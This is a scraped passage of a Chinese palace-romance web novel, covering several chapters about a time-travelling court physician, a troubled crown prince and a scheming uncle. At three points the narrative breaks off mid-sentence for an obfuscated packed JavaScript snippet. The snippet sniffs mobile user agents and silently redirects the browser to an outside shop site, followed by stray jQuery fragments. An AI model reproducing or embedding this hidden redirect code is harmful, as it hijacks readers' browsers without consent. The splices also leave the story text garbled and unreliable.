刘之衍跟文人墨客推崇的点评家不沾边,哪怕他贵为太子,他的点评若是没点功力,只会让人贻笑大方。
胡云可不希望自己的大作,沾染上什么笑话,急忙作揖道:“王爷,还是算了……”
“哎,”安景王阻止他道,“先生,太子殿下金口玉言,难道不配评价先生的大作?还是说,你们对我贤侄有意见?”
一副长辈想为侄子出头,不惜拿权势压人的姿态。
胡云哪敢接这茬,顿时把腰弯得更低,连连道:“微臣不敢!”
说是不敢,可是胡云脸色更差,看刘之衍的目光,多了几分不满,只是不敢明着表露。
谢凝荷低低哎了声:“太子哥哥明明不喜欢出风头的,就算想让别人夸太子哥哥,王爷可以换一种方式嘛!”
应子清叹气,安景王哪是想让刘之衍出风头,故意激怒他失态还差不多。
安景王微微一笑,慢条斯理伸出手,作请道:“贤侄,来吧。”
刘之衍笔直板正的背脊,肉眼可见的绷紧,他深不见底的黑眸微微垂下,放在膝上的手不自觉握紧。
应子清知道,他这是快炸了。
当然,别人也都能看出来。
刘驰骞晃了晃脑袋,瞌睡也醒了,慌张道:“这、这怎么可好!”
应子清见刘之衍张了张口,似是想说点什么,旋即他表情黯下来。
马夫看出刘之衍的意思,挺直了腰板,当即高声道:“太子殿下身体不适,让众人忧心了,小的为太子殿下揽咎!”
这是委婉讨要惩罚的说法。
因为太子不愿开金口,就要有人遭殃,马夫早已习惯,自然而然道出口。
“慢着。”刘之衍打断马夫的动作。
与其让下属受罚,他还是想……试试。
还没彻底成年的刘之衍,英气的剑眉本该飞扬入鬓,昭示他那个年纪该有的嚣张跋扈的少年气,他却因为常年压抑的生活,清隽的眉心之间,凝着深深的沉郁。
应子清挽起裙裾,膝行至刘之衍身边。
“太子……”应子清低着头,假装露出难过的样子,然而却语速极快地小声道,“我知道你不喜欢开口说话,众目睽睽之下,来不及针对你的症状进行治疗,但我有一个办法。”
刘之衍抬起眼,漆黑的双眼静静看着她。
“我知道你心里充满抗拒,除了厌倦以外,什么话都不想说,更不想点评那幅字画。”应子清冲他眨了下眼,“我不需要你发表意见,接下来,不管我说什么,你复述一遍我的话。”
刘之衍愣了下,不是因为眼前的少女猜准他的心事,而是他从未从这个冷静的少女脸上,看到如此漂亮生动的一面。
见刘之衍毫无动静,应子清想了想,心理学有一种通过触觉安抚的手段,通过双方温暖的皮肤接触,可以建立情感联系和安全感,双手交握属于其中一种。
在桌案的遮挡下,应子清伸手,轻轻握住刘之衍的手,与他十指交握:“太子,感受到我的温度了吗?这种温暖能让你知道,我会在这里陪着你。”
刘之衍的确能感觉到少女的体温,他还能感觉到少女细腻柔软的小手,是如何轻而软地抚上他的掌心。
“……”刘之衍脸色很镇定,可是呼吸微微乱了,耳朵尖在悄悄发红。
“好,”应子清扫了眼那边的字画后,说,“来,跟着我说。”
应子清咳了声,低声道:“这幅字写得很工整!”
“?”刘之衍看着她。
应子清用力捏捏他的手:“跟着我说!”
刘之衍迟疑地抬起眼,当着一群人的面,缓慢道:“这幅字……写得很工整。”
应子清很正经地继续道:“这幅画,黑黑白白,还有灰,颜色太好看了!”
“……”刘之衍说不出口。
应子清催促似的,用力捏他的手。
刘之衍微不可查地叹气,嘴角却微微扬起:“这幅画,颜色黑白,还有……灰,画的不错。”
此言一出,众位才子诗人,听得是皱眉的皱眉,咳嗽的咳嗽。
这样粗鄙不堪的话,怎么出自太子殿下的口?
难道太子殿下果然如传闻所说,胸中无墨,愚不可及?
应子清又道:“画上的农夫,手中怀抱青竹与菊花,我也看出来了,有‘采菊东篱下,悠然见南山’的高妙意境。胡云大师所做的画作,有超尘脱俗之态。”
在大晋朝之前,也有一个同名同姓的陶渊明陶公作的诗词,应子清直接拿来用,倒免去自己写了,她是真不会写诗。
刘之衍照她的话,重复了一遍。
然后,应子清笑了下:“礼乐崩坏,君王昏聩,陶公处于浊世,心中失望,所以作此诗。阁下效仿陶公的意境,寻求避世,究竟是何意?难不成是在影射……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358264|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当朝昏暗,腐朽至此?”
刘之衍听罢,嘴角几乎压制不住,扬得极高。他却面色冷淡,不疾不徐地将应子清的话,逐一复述,一字不漏。
胡云吓得双腿直发抖,他哪有这个意思!
他不过和那些雅士一般,以避世的姿态,博取清高的名声而已。
这种鬼话,别人说的还尚可,胡云必定睚眦必报,痛骂对方几句。
然而,此言是太子所说,这……是不是有发难问罪的意思?
他们好像到此时才发现,太子是君,有至高无上的权威,但他们从未拿出对应的恭敬和礼遇……
胡云噗通一声,跪地求饶:“太子殿下,臣偶借陶公的意境,倾慕陶公旷达恬淡的雅韵……绝无、绝无暗讽圣上之意,望太子殿下明察……”
一时间,现场的文人儒生,纷纷跪地,告饶不止。
“哎,贤侄,何必如此严肃。”安景王拍了拍手,宽慰大家道,“不过是场聚会,没有那么严重,我知道没人会这么想,都起来吧。”
不过众人还是畏惧太子,依旧恭敬地垂着脑袋,不敢起身。
安景王又说了几句话,才堪堪解了围。
众人起身,再一次告了罪,重新坐回案前。
有儒生想喝点酒,压一压心中的畏惧感,谁知一握上去,杯中清亮的液体直打颤。
太子发了威,气氛低了下去,现场跟冻住似的,再也热闹不起来了。
安景王倾力举办的松云雅集,眼看就这么烂尾了。
与属下对视一眼,安景王微微点头。
有一太监腰背弓得极低,双手捧着一盘铺在碎冰上的生鱼脍,他穿过重重人群,最后来到刘之衍的桌案前。
生鱼脍一摆上桌,浓重的鱼腥气扑面而来,应子清不禁皱眉。
谢凝荷见了,急忙从襦裙抽出丝帕,捂住鼻子道:“怎么这道菜又来了,难闻死了。”
刘驰骞骂了声:“多半是厨房不敢有自己的主意,还是按照老规矩上桌!皇上又不在,为什么逼太子哥哥吃这糟心的东西!太子哥哥明明最讨厌吃这个生鱼脍了!”
“怎么回事?”应子清小声问。
刘之衍脸色微微发白,稍稍解释了下。
原来这一招,也是庆帝干的。
为了考验太子是不是有储君的风范,故意安排太子吃最讨厌的食物。
刘之衍讨厌生腥,因此庆帝命御膳房,顿顿做腥气十足的生鱼脍,要他吃下去。
好像只要刘之衍面不改色地吃下生鱼脍,大家就会觉得,太子殿下拥有一个明君的度量和坚韧的心性。
说话什么的,只是克服一下心理障碍。
当着众人的面,吃最讨厌的食物……
就没那么简单了,可能会吐……
这个庆帝在折腾和恶心儿子方面,真是无所不用其极啊!
庆帝所作所为,完全可以列入典型的反面教材案例了。
闻着熏人的鱼腥,应子清额头抽抽,想到刘之衍要吃下去……
太不人道了!
刘之衍除了有些苍白外,没什么别的反应,他将长袖挽起,镇定自若地拾起案旁的筷箸。
忽然,应子清双手捧着心口,整个人轻轻摇晃两下,然后软绵绵地倒入太子的怀中。
13. 第 13 章
“哎呀,奴家这是怎么了。”应子清闭着眼,手搭在额头上,唇边溢出一声娇嗔,“太子殿下,奴家的头好晕啊,浑身没有力气了,奴家是不是生病了?”
随着话音落下,少女长睫微颤,雪白的脸,泛起淡淡红晕。
无他,应子清尴尬得满脸通红。
及时把应子清抱住的刘之衍:“……”
竹林安静得,连落叶声也能听见。
应子清掺了蜜似的甜腻声,极为清晰地传进每一个人的耳朵。
那些严谨死板的鸿儒之士,白胡须禁不住抖了抖,祸水妖妃的警报,呜呜直响。
只见模样甜美的少女,娇怯无力地依偎在太子殿下结实的怀抱。而血气方刚的太子殿下,情思恍惚,显然抵挡不住少女的娇羞嘤咛,从脸到耳朵,红了一片。
好一个莺啼婉转,乱君心智的邀宠媚态!
先前还是一幅可以载入史册的竹林雅集图,瞬间变了味儿。
老夫子们皆怒目而视,冷哼咳嗽声,此起彼伏,他们眼中的鄙夷与怒火,差点没把应子清点燃。
甚至还有几位儒生举起长袖,遮住眼睛,不愿意看这有伤风化的一幕。
他们离得太近,应子清身上的气息,若有若无,如同雨后青草上的朝露,清雅干净。刘之衍当然注意到应子清抖个不停的睫毛,虽然她故意作此媚态,可她显然极少与旁人亲近,柔软的身体绷着,隐隐流露出她的僵硬与不适。
刘之衍闻着软香温玉,喉结轻轻滑动。
“?”应子清快演不下去了,小声催促,“愣着干嘛!朋友,别吃生鱼脍了,动起来,咱们快跑啊!”
“……好。”刘之衍颔首,随即打横抱起应子清,轻软纱裙从桌案上一抚而过,“抱歉,我的……我的女官身子不适,我带她去休养一下。”
送佛送到西,做戏做到底。
应子清咬咬牙,随之演起来。
她把脸埋在刘之衍的脖颈间,宛如菟丝花般,伸出雪白的手腕,搂住刘之衍。
一举一动,软绵绵,娇滴滴,如同雨水打湿的娇花,尽是撒娇弄媚的意味。
在板正的老夫子喷火,痛斥应子清之前,刘之衍赶紧掷下话头,连口讷都不装了:“诸位先生请尽兴,我等不好耽搁,先告辞了!”
说着话,刘之衍迈着大步,抱着应子清,匆匆离开。
应子清的举动,实在出其不意,安景王一时看得发愣,没弄清楚到底什么情况。
但,耽于女色,于太子,并不是一个好形象。
安景王略略思索,便放过刘之衍不提,重新笑起来:“贤侄年轻气盛,忧心美人,实乃性情中人之举,诸位莫要因为这插曲,败了兴致。”
“来来来,我这小院子佳肴美酒皆已备下,还请各位开怀畅饮,舒展才情。看看咱们今天,谁能作出传世佳作!”安景王拍拍手掌,一排奴仆捧着美食佳肴,逐一送到大家的桌案上。
有安景王暖场,竹林间的宴席,重回其乐融融的氛围。
应子清趴在刘之衍脖颈间,偷偷往后看。
竹林交错纵横,一阵风吹过这片安静的林荫小路,叶片摇曳,沙沙做响。
见无人追上,应子清松口:“好了好了,可以了,这里看不到人,赶紧放我下来。”
“再等等。”刘之衍将她稳稳抱在怀里,稳步疾走。
追随在一旁的马夫,微微弓腰,体贴道:“太子殿下,这等粗活还是让我来做,让我抱着应女史吧?”
刘之衍冷冷看他一眼。
马夫感觉到凉到极致的寒意,后颈起了鸡皮疙瘩,当即垂首认罪:“小、小的多嘴了。”
刘之衍一路将应子清抱进马车,才肯将她放下。
马夫没有耽搁,跳上车后拉紧缰绳,驱使马车快快驶离这片地方。
马夫御车的技术好,车身微微摇晃,并不颠簸。
车内狭窄,刘之衍与应子清同坐其间,可他把脸微微转开。
应子清搓了搓脸,按照胸口,进行一场由内而外的深呼吸。
如果可以,她好想把这一段记忆剪掉!
刚才的一幕,根本不符合她的本性!
有那样的举动,完全是急中生智,要不然以她的身份,带不走刘之衍。
算了算了,再来几次深呼吸!
刘之衍余光里的应子清,在做了几个怪动作后,肩膀慢慢松下来,像是终于摆脱了什么烦心事。
“子清……”刘之衍认真看着她,“你为什么要这么做?”
“啊?”应子清理所当然道,“这种恶心人的聚会,就不该参加。再不走,我怕又出什么烦人的幺蛾子。”
刘之衍抿了下嘴唇,静静道:“恶心人吗?这些考验,都是父皇的意思。没人这样对我说过,也不会有人大胆到带我离开。”
“怕什么,你已经离开了。”应子清回视他,“是不是松了口气,感觉很自由?记住你现在这种感觉,以后再遇到这种情况,你要自己离开!逃避可耻,但有时候也很有用!”
“自由?”刘之衍念着这个词,深深凝视应子清。
少女目光澄澈,一如她身上朝露般,清甜柔软的气息。
他知道,应子清在教他如何摆脱心疾。
刘之衍却在走神。
他没在这风清月白的眼睛里,找到一丝一毫的娇媚。
刚刚那甜得淌蜜的柔情,勾勾缠缠撩人心间的温柔,恍如海市蜃楼般,从未真实存在过。
刘之衍不禁想,应子清露出来过,那就是有,只是藏着不愿意对着他。
而他,也见识过。
那就不是海市蜃楼。
可是……
刘之衍无端地出神,可是什么?
他们俩又回到最初的模样,应子清规规矩矩坐在一旁,与他井水不犯河水。
贵为太子,哪怕声名狼藉,也有不少贵族少女,向自己投来含羞露怯的眼神。
可是,应子清从未有这层意思。
她扑向自己的一瞬间,他不是没想过,应子清是不是……
可是,在与应子清对视的那刻,刘之衍很确信,她对他的心思,和白纸一样干净。
而他万年沉如死水般的心跳,早乱了踪迹。
“你在发什么呆?”应子清看他半天不说话。
回过神,刘之衍随口道:“在想刚才竹林里的事。”
应子清以为他担心鸿儒大拿回去作妖,安慰他说:“怕什么,你是太子,你可以把反对你的人,全部抓起来打一顿!”
“我不会。”刘之衍回道。
“我知道你不会。”应子清黑白分明的眼睛,弯成好看的弧度,“所以我愿意把我的嘴巴借给你,骂他们一顿,帮你出出气,心情是不是痛快多了?”
“你替我解了围,”刘之衍问,“那么你呢?你的名声,难道不要了?”
应子清想了想:“我一个路人甲小透明,过了今天,谁记得我?大家只会记得,那日松云雅集,太子抱着一个宫女匆匆离开。啧,说起来,你的名声受损得比较厉害。”
刘之衍望着应子清半晌,无可奈何地笑起来。
-
晚间,马车缓缓驶进碧梧宫。
枯萎的梧桐叶掉进池塘,荡起一圈圈水波纹。
路上,应子清和刘之衍约定好,谁也不许再提今天不愉快的事。
应子清觉得秋风刮得冷,想吃热乎点东西。
当然,这话是让刘之衍交代出去的。
吴内祥忙里忙外,收拾出几桌铜炉火锅,摆了满桌的菜肴和酒水。
应子清又出了个主意,叫人关上宫门,今晚不接待任何访客。
然后,她撺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361967|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掇刘之衍发号司令,命所有人出来聚餐,犒劳大家伙平日里的辛苦。
于是碧梧宫上上下下,不分身份等级,全都热热闹闹地围在铜炉火锅边,吃顿暖透了的热乎饭。
案桌上,应子清和宫女公公的关系,突然一日千里。
应子清并不是外向的人,可也没什么架子,这种清凌凌的性格,反而招人喜欢。
一个小公公,双手捧起酒杯,笑吟吟想敬应子清:“姐姐记得咱家吗?小的叫张泰耀,请姐姐赏脸,喝下我这杯酒,也等于记下我这个人,莫要推辞啊。”
应子清愣了下,没想到喝个酒,还有这番说辞。
然而对方的话头是这样,她确实不好推辞,于是接过酒杯,一饮而尽。
“好,酒我喝了,人我也记得了。”应子清挺爽朗地笑,“我也是初来乍到,请大家多多照顾。”
这么一开了头,大家伙全涌了过来,七手八脚地捧着自己的酒杯,全是要敬她。
有些人,连敬酒词都懒得改!
铆足劲儿要灌她酒。
气氛太欢乐,应子清也在笑,没忍心拒绝。
以前在学校的时候,应子清就是扛起团建活动的小能手。当时同学们戏言,以后公司团建,应子清肯定是扛鼎的一把手。
虽然在小蓝星没找到工作,怎么穿越到这里,她还是扛起这种职场团建活动……
古代的酒,酒精度不高,可也架不住这么海量地喝。
应子清喝了一圈下来,昏沉沉地犯晕,只觉得天上的大月亮,怎么变成两个了?
她晕乎乎的,丝毫没发觉,她把这个问题问出口了。
“你醉了。”刘之衍平静道,扶着东歪西倒的应子清,往她的暖阁走。
“嗯?这不是我的小床吗?这么早就睡了?”应子清回头一看,寝殿朱色纱帘轻飘,到处空空荡荡。
刚才乱糟糟的桌案,消失得一干二净。
“人呢?”应子清迷蒙着问。
刘之衍回答:“都下去休息了。”
应子清啧了声:“是不是都醉了?看他们闹得那么厉害,我以为呢,其实都不行,喝不过我。”
突然,脚被什么东西绊了下,应子清腿软站不住,下意识闭上眼,以为要栽跟头,□□一下脑袋。
可是,她紧紧闭眼好一会,就是不疼。
应子清睁开眼,发现自己被刘之衍及时捞住了。
“好人。”应子清感激道。
刘之衍不发一言,平稳地带着她走。
在这个人的怀里,应子清似乎什么都不怕了,她心里隐约清楚,刘之衍不会作恶。
他会保护她。
然后,又是一阵天旋地转,应子清也没有挣扎,安安全全地躺进她的小被子里。
把应子清送到床上,刘之衍却在床沿坐下。
碧梧宫里宫灯,烛火摇曳,光线柔和。
这个酒鬼的醉态还不错,不吵不闹。
应子清朦胧地眨着眼,和眼前模糊的少年对视。
不知过了多久。
苍白俊美的少年,微微俯下身,用轻得像耳语般语调,温柔问着:“子清,你也会牵别人的手吗?像牵我的手那样。”
他嗓音那样轻柔好听,可是一双眼亮若寒星,像是一把闪烁寒芒的刀。
如此反差,十分骇人。
应子清脑子不太清楚,可心里微微难受起来。
见她没有回答,刘之衍再一次轻声问:“子清,你也会这么治疗别人吗?”
“治疗?”应子清含糊回答,“没有,我还没找到工作呢。”
“一个都没有吗?”刘之衍问。
“没有。”应子清闭了闭眼,困得浑身难受。
刘之衍伸手,将缠在应子清脸上的发丝捡开,平缓道:“嗯,我知道了,安心睡吧。”
14. 第 14 章
应子清做了噩梦。
她梦见,刘之衍变成一条横亘于天际的黑龙,他恶狠狠地张着血盆大口,追着她跑,像要把她吃掉。
应子清匆匆逃命,东奔西跑逃了一晚上。
最后,还是被刘之衍抓住。
可刘之衍没有吃掉她,反而用庞然雄壮的黑龙身躯,一圈圈将她紧紧缠住。
梦里,巨龙捉住她后便安静下来,他缓慢而深沉地呼吸着,漆黑坚硬的龙鳞微微起伏,折射着神秘深邃的幽光。
应子清一整个晚上动弹不得,憋闷地不得了,起来时,眼下挂着没睡好的乌青。
一大清早,吴内祥把应子清揪到僻静的角落。
“昨夜的嬉闹是你撺掇的!应女史,虽说您年轻,喜欢热闹,可这也太不像样了。”吴内祥瘦长的脸肃着,带一点教训的口吻,“您是有品级的女官,太子殿下想玩闹,你该劝着才是。怎么,你还主动怂恿太子殿下吵吵闹闹,不合规矩!”
应子清沉了沉气,想解释一下。
随后她想到,吴内祥是太子殿下忠心耿耿的奴仆,一切都为他着想,自然知道这个太子,当的有多么不容易。
所以昨夜,吴内祥见到太子久违的笑,没有站出来扫兴。直到第二天,才把应子清叫出去,嘱咐她以后慎言慎行。
但这是在皇宫,是该小心谨慎。
思及此处,应子清乖乖道:“好,我知道了,以后我会小心行事。”
吴内祥原以为应子清会顶撞两句,未曾想,她就这么懂事地应了。
哑然片刻,吴内祥不知道该作什么表情。他素来严肃惯了,已经溜到嘴边的呵斥,硬生生停住,只好瞪她一眼。
刘之衍撩开纱帘,随意打量两人后,询问:“你们在说什么?”
应子清一看到他,想起昨晚黑龙缠人的噩梦,只觉得一阵心累涌上来:“没事,吴公公在教我做事。”
吴内祥瞪着的眼睛,又大一圈:“……应女史别污蔑咱家!太子殿下,咱家哪敢教导应女史,咱家是在同她商量!”
刘之衍的视线,在应子清身上一点而过,转而对吴内祥说:“不可约束子清,她想做什么,随她,任她自在随心。”
吴内祥从小陪伴在太子殿下身边,哪里看不出,应女史所作所为,极讨太子殿下的欢心,他哪里敢对应女史指指点点。
然而,刘之衍仍嫌不够,特意吩咐这一句话。
吴内祥禁不住多看应子清几眼,心中惊疑不定转过好几个念头。
随后,吴内祥恭敬道:“是,太子殿下,咱家明白了。”
几个人在这里说话,有宫女来报,说赵王世子刘驰骞,谢家大小姐谢凝荷,宰相的儿子薛沛南来了。
都是年轻人,性子活泼,还没进花厅,语笑喧哗远远传开了,吵个不停。
昨日应子清装晕,刘之衍堂而皇之抱着她离开,这个阵仗闹得不小。
他们只当真有这么一回事,八卦之心大起,睡觉都没好好睡,一定要大清早赶来,看看这个漂亮的女官,到底是什么情况。最重要的是,打听打听,她和太子哥哥是什么关系!
刘之衍在主位坐下,端起一盏茶,淡淡道:“多劳费心,应女史无甚大碍,已经痊愈。”
众人端着茶碗,面面相觑。
谢凝荷咬着手绢,她好想冲刘之衍问一句,然后呢!你为什么会抱着人家离开啊?
但这等男女之事,岂是她一个待字闺中的姑娘,可以随意问的。
偏偏刘之衍说完,也不去解释他与应子清的关系,既像是觉得不值一提,又像是默认外间的猜测。
众人总觉得,事情没那么简单,但他们又不知道怎么开口。
只好盯着应子清看。
应子清站在刘之衍身后,一直在走神。
刚刚她打听到,晋升女官后,每月有两天的假期。
她要么呆在东宫,要么呆在碧梧宫,根本没机会出去。
眼下,应子清瞅准这群公子小姐留在碧梧宫吃午膳的时机,转身去找吴内祥请假。
吴内祥刚得了刘之衍的吩咐,不敢多问一句,就把出宫的令牌交给应子清。
应子清出宫后,特意到裁缝铺,买了身古朴的裋褐,一双粗布鞋,又去市集买了顶竹篾编制而成的草帽。
应子清穿好衣服,正了正草帽,把一切准备工作做得差不多,便在长安城随意漫步。
闻名遐迩的东西市,行人摩肩接踵,步履匆忙。
贩夫走卒的吆喝声此起彼伏,不绝于耳。
应子清东看看,西逛逛,只觉得哪哪都新鲜,两只眼睛简直看不出过来。
走街串巷,应子清顺着人群,聚在街头看杂耍。
看完一场喷火表演,应子清依依不舍,往他们的钱箱,投了铜币。
要不是还有事,她还想逛逛夜市。
王府威严高耸的石狮下,应子清把帽檐压低,堂堂正正,朝王府的正门走去。
带刀侍卫一见农夫打扮的人,梗着脑袋,直往安景王府的正门口撞来,差点拔刀出鞘。
“何人如此莽撞,竟敢擅闯安景王府!此乃禁地,不是你等随意踏入,速速退下,否则休怪本侍卫无情!”
应子清不慌不忙,模仿儒生的礼仪,长长作了一揖:“草民有一大礼,想呈送王爷。”
若是普通的农夫胡言乱语,侍卫直接打发了事。
可是此人一身裋褐,崭新干净,举止文雅,口齿清晰,不像农夫,倒像传说的隐士高人。
王府的侍卫见多识广,不敢专擅,他目露犹豫,再道:“王爷岂是你想见就能见的?”
应子清不慌不忙:“草民不见王爷,烦请阁下把这一礼物,呈送给王爷即可。”
“你想呈送什么?”侍卫放下刀。
应子清手中举起一粗布袋,袋子里缠了只活乌龟,那乌龟四肢缓慢挣扎着。
侍卫眉心紧皱,只怕眼前的人在消遣他。
应子清从容道:“我本是山野之人,呈送的,自然是山野之物。草民本无意涉世,不过草民久闻王爷英名,心中仰慕已久,只恨不能略尽绵薄之力。此次,我偶然得到的祥瑞,与王爷有关,不敢擅自处理,特来拜会。”
侍卫凝思一想,便接过那只粗布袋,口中仍狠狠道:“若是消遣本侍卫,定要拿你是问!”
转眼间,侍卫去了。
不到一刻钟,安景王最得力的属下姜泽语,同侍卫一起出来。
“就是她!”侍卫指了指那靠着石狮子歇脚的农夫。
姜泽语将对方上下打量一遍,对着应子清作揖:“不知道姑娘如何称呼?”
应子清回礼,随口胡诌一个外号:“山人,灵清子。”
听得这一名号,坐实了应子清隐士的身份。
得道高人,山中隐士,是奇谋的化身,往往拥有深不可测的智慧。
当天下出现动荡的可能,他们会突然出现,为棋局中的人,指点迷津。
不论这位灵清子是否真材实料,姜泽语皆不敢得罪,只盼着他能为安景王,招揽人才。
姜泽语又客气不少:“实在抱歉,王爷外出未归,山人若不嫌弃,可否屈尊入府,稍作等候?待王爷回府,即可相见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376156|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
应子清见事情进展的如此顺利,心情不错,她出宫的假条快到点了,不能久待。
本来此次,她也没想着能见到安景王,送礼送到了,留下个印象就行。
于是应子清特意作出高人的姿态,气定神闲道:“山人俗务缠身,不便久候。下月十五,我于城中酒肆,静候王爷大驾光临。”
说完,应子清轻飘飘一甩袖子,径直走了。
姜泽语见此人把面容藏在草帽之下,不肯示人,又听应子清的声音,那么年轻,心中狐疑不决。
可此人临走前,姿态昂然,态度随性,真有那么七八分洒脱气韵。
再者,姜泽语想到,此人送来的大礼,粗布口袋里那只乌龟,龟背上题的字……
恰恰契合了安景王最隐秘的心事!
这一举动,足以证实,灵清子的神机妙算。
就算只是巧合,这位灵清子送礼的时机之微妙,也让姜泽语不敢怠慢。
退一万步说,谁敢戏弄安景王?
若是此人装模作样,内腹草包,堂堂王爷,自有惩戒的手段。
于是姜泽语在后面,高声道:“山人但请宽心,小的定当如实将此事转告王爷,断不会有丝毫差池,还望山人静候佳音便是。”
回到碧梧宫,应子清换上宫装,打听一下大家在哪,便往那里去。
天气冷,无甚好玩好看的。
所幸天气清朗,阳光从薄云间透出。
廊下的铜铃,微微摇晃。
庭院之中,找了块平地,拉了穿花绣锦的帷幔,地上铺了红毡毯。
中央摆了四五尊描金画银的投壶,瓶身在阳光下闪烁珠宝般的光彩。
几位公子小姐,换了身便于行动的衣服,手中拿着洁白的羽箭,又蹦又跳地商量,谁赢了,该得什么礼物,谁输了,该受什么惩罚。
应子清随便找个空位置,呆在一边出神。
开始上班了。
莫名其妙的,应子清有些心酸,宫女的工作,二十四小时无休。
“溜出去一下午,谢凝荷到处找你找不到。”刘之衍拿着两三枚羽箭,信步而来,“怎的回来了,不开心?遇到什么事了?”
应子清摸了摸脸:“有吗?我挺高兴的?”
刘之衍从她头发上,摘下一根草棍:“去泥地里打滚了?”
“估计戴草帽留下的,”应子清理了下头发,“帮我看看,还有吗?”
刘之衍扔掉手中的草棍,不咸不淡道:“没了。”
可我买的不是竹篾做的草帽吗?应子清看了眼地上那根,明显是稻草的模样的草根,难道无良商家偷工减料,掺了稻草进去?
还卖十五文钱,因为不熟悉市价,她都没讲价。没讲价,就有种买贵了的心理,结果还偷工减料。应子清愤慨,把这家店拉黑,下次不去了!
谢凝荷见她来了,亲亲热热拉着她手臂,她来这一趟,就是要见应子清的,结果一转眼,人给跑了,她有好多事想问应子清呢!
刘之衍独自回到寝殿。
跨过门槛,殿门在身后关上。
刘之衍头也没回,在自己的主位坐下。
一道黑影自关门后,跟在刘之衍身后,一直走到他面前,单膝跪下。
“影枭,”刘之衍说,“把你知道的告诉我。”
“是。”影枭微微低头,把应子清出宫后,所做的每一件事,一一禀报。
连她给杂耍艺人投了多少铜币,也没有疏漏。
当然也包括了,应子清如何装扮成隐士,自称灵清子,给安景王送礼的一幕。
15. 第 15 章
宫柱高耸,门窗紧闭,阴霾弥漫,白日也显得昏沉。
角落几盏宫灯亮着,煦暖融融,然而烛火的光亮,驱散不了宫廷无穷无尽的昏暗。
刘之衍俊美的脸上,深沉晦暗的阴影,交织其间。
过了极其漫长的时间,更漏不知响了几次。
细微烛光,在影枭银质面具上流转:“殿下?”
刘之衍唇角微微扬起,可乌漆黑墨般的瞳孔,没有丝毫笑意:“我原以为……”
影枭把头低得更低,作出恭顺聆听的姿态。
刘之衍语气藏着淡淡的失落:“我原以为她和别人不一样。”
影枭面具之下的目光,闪过一丝杀气:“应女史不与我等齐心,反而投靠安景王,实乃忘恩负义之辈。殿下想如何处置应女史?但请吩咐。”
想到那日,他偶然抱在怀里的暖意。
要把这样的人撕碎吗?
沉默片刻,刘之衍摇摇头:“子清在乎我,哪怕我患有心疾,哪怕人人都说我疯行无状……唯有她,曾对我说,她会陪在我身边。你懂我的意思吗?不要伤害她。”
影枭想了想:“她是医者,她对殿下的关心,或许只是顺手而为。”
“影枭,”刘之衍的指节,缓而慢地轻敲桌沿,“哪怕子清给我的一切,全是假的。但也只有她,让我感觉到从未有过的在乎。”
刘之衍微微抬起眼,仰视上方,高耸寂寥的大殿。
因为他的异状,许多人都躲避他,偷偷厌恶他,连他的娘亲看见他,也忍不住流露恼火和恨铁不成钢的黯然。
小时候,他常常一个人呆在碧梧宫的大殿之中,不知道多少次,把目光投向这华丽但空洞的宫廷,觉得自己和这深宫一样无聊。
刘之衍的目光如同无波古井。
可如果仔细看,会发现在那深邃之处,有波光潺潺。
有什么东西,正在悄然生长。
刘之衍叹口气,声音似藏着万年风雪,透着深深的孤独:“哪怕是假的,我也……很欢喜。”
影枭眉头紧蹙,但他不敢反驳太子的命令,只得沉声答应:“是,太子殿下。”
-
“应女史,你比我大,我叫你子清姐姐好啦。”谢凝荷亲亲热热挽着应子清的胳膊。
少女的个头不高,人又长得可爱,应子清差点伸手摸摸她毛茸茸的脑袋,她笑起来,客气道:“奴婢不敢。”
“哎呀,有什么敢不敢的。”谢凝荷忽然笑起来,脸颊红红的,“说不定要不了多久,你就被太子哥哥抬进寝殿,当我们的太子嫂嫂啦!”
“?”应子清想,用不着抬,她已经住进太子的寝殿了。
天天在暖阁里值夜班。
见应子清没什么反应,谢凝荷抬起胳膊,娇羞地撞她一下:“你说是不是呀!”
这一撞,差点把应子清撞进池塘里。
“大家是不是误解了什么?”应子清揉揉胳膊,心惊胆战地带着谢凝荷,绕离这方池塘,“我身体不舒服,是太子殿下带着我离开,照料有加,我的感激之情溢于言表!太子的恩德,奴婢定铭记在心,没齿难忘!”
应子清目光灼灼,一番话说得慷慨激昂,光明磊落。
不知道的,还以为是哪位壮士在剖白心迹。
唯独,没有小女儿柔肠百转的心思。
“原来是这样吗……”谢凝荷不禁看向碧梧宫,心里很是为太子哥哥的感情之路感到担忧。
“本来也没什么啊。”应子清无奈道,“你们想太多了。”
庭院之中,投壶的游戏,快到尾声了。
十几轮过去,谁的技术好,谁的技术差,已经分出个上下。
再玩,也只是技术厉害的,越投越多,笨的,怎么都投不进去。
